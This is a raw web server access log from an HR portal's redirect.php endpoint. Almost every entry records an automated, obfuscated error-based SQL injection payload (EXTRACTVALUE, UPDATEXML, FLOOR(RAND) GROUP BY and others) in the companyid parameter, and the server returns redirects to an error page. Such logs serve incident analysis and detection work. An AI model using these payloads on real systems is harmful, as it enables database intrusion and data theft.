100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x34646e52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34586c31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FVTdR&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38354f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c6c6d30%29%29x%29%29--%2F%2A%2A%2FBMns&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38354f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c6c6d30%29%29x%29%29--%2F%2A%2A%2FBMns&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x58574741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45427748%29%29x%29%29--%2F%2A%2A%2FtE11&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x58574741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45427748%29%29x%29%29--%2F%2A%2A%2FtE11&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x31516763%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776d3154%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FZFjC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x31516763%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776d3154%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FZFjC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x36653048%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x375a7637%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FVCGF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x36653048%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x375a7637%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FVCGF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x55536c69%2C%28NULL%29%2C0x67527a43%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FJ2ME%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65304d43%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62336e4f%29%29--%2F%2A%2A%2F8rGY&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x31327a42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6534356a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fe2p7&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374d735a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4b3275%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FTSg3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b476d7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x304e6645%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fd7zF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x50554b72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6a7a6c%29%2C5431%29--%2F%2A%2A%2FpzOx&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38784e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36473965%29%2C6420%29--%2F%2A%2A%2FsePj&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70714e36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4834676a%29%2C6420%29--%2F%2A%2A%2F5pf9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5036394d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x766d4153%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FGCxf&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x7773446a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75613432%29%29--%2F%2A%2A%2F96iu&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6f304e63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x665a7543%29%29%2C1%29--%2F%2A%2A%2F8e6u&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6f304e63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x665a7543%29%29%2C1%29--%2F%2A%2A%2F8e6u&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x315a3972%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4f4646%29%2C5431%29--%2F%2A%2A%2FnpA3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b454979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36726c79%29%29%2C1%29--%2F%2A%2A%2FmiJA&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b454979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36726c79%29%29%2C1%29--%2F%2A%2A%2FmiJA&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5847304a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x375a7264%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FFITC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x62545a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x756e5349%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FQbN2&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x62545a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x756e5349%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FQbN2&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x34646e52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34586c31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FVTdR&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38354f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c6c6d30%29%29x%29%29--%2F%2A%2A%2FBMns&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249
